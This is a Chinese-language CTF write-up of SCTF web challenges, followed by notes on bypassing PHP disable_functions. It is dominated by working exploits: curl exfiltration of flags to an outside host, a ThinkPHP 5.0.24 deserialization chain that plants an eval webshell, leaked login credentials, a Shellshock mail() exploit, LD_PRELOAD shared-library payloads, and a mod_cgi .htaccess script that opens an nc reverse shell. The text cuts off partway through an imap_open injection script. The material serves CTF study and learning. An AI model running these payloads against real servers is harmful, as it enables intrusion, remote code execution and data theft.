file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);
echo storage_path("logs")."/".$data."/".$filename;
}
}

storage_path(“logs”):/var/www/html/storage/logs

upload dir : /var/tmp/md5(IP)/

1
2
3
Route::get('/tmp/{filename}', function ($filename) {
readfile("./var/tmp/".$filename);
})->where('filename', '(.*)');

直接任意文件读取,但是因为两个../服务器不会解析直接报错的原因无法穿到根目录,后来想到在弄个index.php就好了
最后的payload:http://39.104.93.188/index.php/tmp/../../flag

SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}

pysandbox

pysandbox1

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"

exec(secret)
return "xXXxXXx"


if __name__ == '__main__':
app.run(host="0.0.0.0")

测试环境:http://ccreater.top:60011/
禁用字符:

["\u0000", "\u0001", "\u0002", "\u0003", "\u0004", "\u0005", "\u0006", "\u0007", "\b", "\t", "\n", "\u000b", "\f", "\r", "\u000e", "\u000f", "\u0010", "\u0011", "\u0012", "\u0013", "\u0014", "\u0015", "\u0016", "\u0017", "\u0018", "\u0019", "\u001a", "\u001b", "\u001c", "\u001d", "\u001e", "\u001f", " ", "!", "\"", "#", "$", "%", "&", "'", "(", ")", "{", "|", "}", "~", "\u007f"]

利用魔术方法? : __getitem__,__getattr__

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`cat+flag|base64`') HTTP/1.1
Host: 39.104.90.30:10006
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://39.104.90.30:10006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b
Content-Length: 248

------WebKitFormBoundaryx3B8HB5b
Content-Disposition: form-data; name="cmd"

request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a;
------WebKitFormBoundaryx3B8HB5b--

pysandbox2

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`/readflag|base64`') HTTP/1.1
Host: 39.104.90.30:10006
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://39.104.90.30:10006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b
Content-Length: 248

------WebKitFormBoundaryx3B8HB5b
Content-Disposition: form-data; name="cmd"

request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a;
------WebKitFormBoundaryx3B8HB5b--

为何payload能运行

我们都知道python 调用类方法的时候会传入self参数,而我们调用app.config==request.args.a应该也会传入self参数,那么为什么这个payload可以成功

测试代码

1
2
3
4
5
6
class A():
pass
a = A()
a.__class__.__eq__=eval
a=="print(123)"

我们跟进python底层看看

image13796

这里显示nargs显示只有1个参数,参看堆栈,跟踪到最开始的地方

image13916

这里我们确实传入了self,其中v是self,w是print(123)

image14041

image14125

call_unbound处我们发现了原因,是因为ubound==0

lookup_maybe_method中设置了ubound的值

image14285

#define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0)

The difference between bound and unbound is the value of the .__self__ attribute (None when unbound).

UnsafeDefenseSystem

ThinkPHP V5.0.24

image14584

1
2
3
4
5
http://39.99.41.124/public/log.txt
http://39.99.41.124/public/test/
http://39.99.41.124/public/nationalsb/login.php


http://39.99.41.124/public/nationalsb/js/script.js中发现账号密码:

1
2
3
//username:Admin1964752
//password:DsaPPPP!@#amspe1221
//Secret **** is your birthday

文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 39.99.41.124
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

file=/etc/passwd
1
2

Warning</b>: include(): Failed opening 'php://filter/read=convert.base64-encode/resource=index.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/public/nationalsb/login.php
1
2
3
4
5
GET /public/index.php?s=/index/Index/hello&s3cr3tk3y= HTTP/1.1
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Host: 39.99.41.124
Connection: close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index extends \think\Controller{
public function index(){
$ip = $_SERVER['REMOTE_ADDR'];
echo "Warning"."<br/>";
echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
}
public function hello(){
unserialize(base64_decode($_GET['s3cr3tk3y']));
echo(base64_decode($_GET['s3cr3tk3y']));
}
}

/var/www/html/protect.py

1
....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'cjbtest';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+', // 因为 static 目录有写权限
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();
$payload = serialize($obj);
echo base64_encode($payload);

写文件到/tmp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import hashlib
payload=requests.get("http://127.0.0.1/cms/thinkphp/5.0.24/tp5/public/test.php").text.strip()
burp0_url = "http://8.208.102.48:80/public/index.php"
params={
"s":"/index/Index/hello",
"s3cr3tk3y":payload
}
burp0_headers = {"Authorization": "Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=", "Connection": "close"}
res=requests.get(burp0_url, headers=burp0_headers ,params=params)
print(res.text)
print(requests.get("http://8.208.102.48:80/public/log.txt").text)

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 8.208.102.48
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

file=php://filter/read=convert.base64-encode/resource=/tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b743f45ea3d60a1190e3f723595050ca2.php&1=phpinfo();&1=phpinfo();

写到文件里的内容

1
2
3
4
<?php
//000000000000
exit();?>
s:163:"php://filter/write=convert.base64-encode/resource=../../../../../../../../../../../../../../../../tmp/filenamebfe3467e649d6d158c51b5b5494ca5a2.php";

这里 https://www.leavesongs.com/PENETRATION/php-filter-magic.html 里面的方法已经不管用了,我们需要自己想出其他办法

这里我们用php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=来绕过死亡exit

1
2
3
4
$backdoor = '<?php eval($_POST[1]);?>';
$x = str_rot13(base64_encode($payload));
$payload = base64_decode(str_rot13(base64_encode($backdoor)));
assert(base64_decode($x) === $backdoor);

$dieORexit --convert.base64-encode|string.rot13|convert.base64-decode--> something else

$payload --convert.base64-encode|string.rot13|convert.base64-decode--> '<?php eval($_POST[1]);?>'

最后的payload:
'path' => 'php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/t'.urldecode("%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E")

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 8.208.102.48
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

file=%2ftmp%2ft%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E743f45ea3d60a1190e3f723595050ca2.php&1=system('cat /flag');

bypass_disable_function_open_basedir

bypass disable_function

危险函数/类

1
2
3
4
5
6
7
8
9
10
11
12
FFI
COM
exec
assert
eval
system
ini_set/ini_alter
putenv
imap_open
pcntl_exec
win_shell_execute
dl

利用Windows系统组件COM绕过

利用条件:

1
2
3
extension=php_com_dotnet.dll
com.allow_dcom = true
wshom.ocx 存在
1
2
3
4
5
6
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

GNU Bash 环境变量远程命令执行漏洞 CVE-2014-6271

被攻击的bash存在漏洞(版本小于等于4.3)
攻击者可以控制环境变量
新的bash进程被打开触发漏洞并执行命令

利用php的mail函数:https://www.exploit-db.com/exploits/35146

https://www.antiy.com/response/CVE-2014-6271.html

漏洞原理

4.3及之前的bash启动解析环境变量时未对边界进行严格的限制

“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

bash函数的格式,调用函数只需变量名+参数即可函数 参数1 参数2

1
2
funtion ShellShock 
{ echo "Injection"} ShellShock #调用这个函数

这个时候的Bash的环境变量:

1
2
3
KEY = ShellShockVALUE = () { echo Injection; }


来看看ShellShock漏洞的真身:

1
2
export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash>Kr0iN

看看环境变量你有什么
image1229

1
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

image1379

利用方式

php的mail函数()

如果服务器的默认sh是bash,mail函数会生成一个bash进程,再结合putenv()利用破壳漏洞来实现任意命令执行

会生成bash进程除了mail,php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。

更详细的解释:p牛的PHP Execute Command Bypass Disable_functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

利用php-fpm未授权访问漏洞

推荐文章

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

什么是php-fpm

php-fpm是php官方的fastcgi解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。

说到fastcgi,就必须先讲一下cgi

cgi的历史:

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。
webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!
交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?
为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

Fast-CGI:

虽然cgi解决php解释器与webserver的通信问题,但是webserver每收到一个请求就会去fork一个cgi进程,请求结束再kill掉这个进程,这样会很浪费资源,于是出现了cgi的改良版本。

fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

php-fpm 是一个Fastcgi的实现,并提供进程管理功能。

进程包含了master进程和worker进程

master进程只有一个,负责监听端口(一般是9000)接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个php解释器,是php代码真正执行的地方。

[image4092

上面第一个是主进程,下面两个是worker进程。

服务器利用fastcgi的通信过程

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

record具有固定的结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

而其中的type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。

借用该文章中的一个表格,列出最主要的几种type

image5295

根据这个表格我们可以猜测,服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。

我们要关注的重点就是type=4的部分,也就是是设置环境变量的地方。

php里有很多有趣的设置,像文件包含里常用的php设置auto_prepared_file,auto_append_file

我们令auto_prepared_file=php://inputallow_url_include=On

那么我们该如何利用fastcgi来设置php的环境变量

这又涉及到PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

结构体实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/var/www/html/index.php',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($content),
'PHP_VALUE' =>'auto_append_file=php://input',
'PHP_ADMIN_VALUE'=>'allow_url_include=On'
)

原理浅析

这个原理的漏洞原因是PHP-FPM未授权访问漏洞,php-fpm没有对发送数据的来源进行验证,导致只要我们向php-fpm发送符合格式的数据就可以被解析.再结合fastcgi设置环境变量的部分来达到getshell

fpm利用脚本

分享个p牛脚本里面的一个client客户端: Python FastCGI Client
还有Lz1y师傅给的一个php客户端 PHP FastCGI Client

还要php语言客户端: fastcgi客户端PHP语言实现

LD_PRELOAD绕过

send_mail

这里我们先来看一下原理,首先什么是LD_PRELOAD?

google给出如下定义

1
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用

而putenv可以设置环境变量

1
putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

那么我们可以进行一下骚操作

1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数,触发specific shared library

利用函数

putenv,errorlog,mail

如何制作shared libraries

选择要替换的函数我们这里选取geteuid()

理由是php的mail()函数会调用系统的sendmail命令而sendmail命令会调用getuid()这个函数,所以我们确定目标为geteuid函数

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls > result.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL)
{ return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是 32 位一个是 64 位)把它编译为一个位置信息无关的动态共享库:

1
2
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

利用

将恶意的.so文件上传到服务器

执行如下代码,即可载入恶意命令

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("[email protected]","","","","");
?>

相关文章

https://www.anquanke.com/post/id/175403

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

[https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd](https://www.k0rz3n.com/2019/02/12/PHP 中可以利用的危险的函数/#8-mail-第五个参数-excrt-cmd)

https://www.freebuf.com/articles/web/169156.html

without sendmail

参考链接

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为

此外,我通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD"),这在大部份 linux 发行套件上的确可行,但在 centos 上却无效,究其原因,centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。所以,我得找一种比 unsetenv() 更直接的删除环境变量的方式。是它,全局变量 extern char** environ!实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。

由于open_basedir+web目录不可写绕过

见 bypass open_basedir 的 tmpfile部分

攻击利用

bypass_disablefunc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

接着用以下语句编译C文件为共享对象文件:

1
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

bypass_disablefunc.php,代码和test.php一致:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$cmd = "ls";
$out_path = "/tmp/cmdout";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/var/www/html/bypass_disablefunc.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

apache+php cgi mod攻击

原理

php作为cgi模式运行的时候,接受-s -d -c 这样的参数,我们看看这些参数的功能

1
-s Output HTML syntax highlighted source -d foo[=bar] Define INI entry foo with value bar

然后再看看攻击代码片段

1
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \

解码出来是

1
%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n

这样Kingcope的攻击代码思路就出来了。

关闭各种防护的参数,打开各种危险的参数,最后利用auto_prepend_file(或auto_append_file)这个参数把黑客需要执行的系统命令传递过去了。

利用条件

1、apache+php是用cgi模式跑的,例如apache的mod_cgid

2、php解释器需要可以从下面的url访问到,当然或许可能是其他的url,这个具体要看你的配置

1
2
3
4
5
/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/php4

3、php版本
PHP版本小于5.3.12
PHP版本小于5.4.2

或者

  1. mod_cgi已经启用
  2. 必须允许.htaccess文件 , 在httpd.conf中,要注意AllowOverride选项为All
  3. 必须有权限写.htaccess文件

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{

checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess

checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>

imap_open

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

利用条件

存在ssh和rsh功能 且 enable_insecure_rsh = true

利用脚本(未测试)

1
2
3
4
5
6
7
8
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
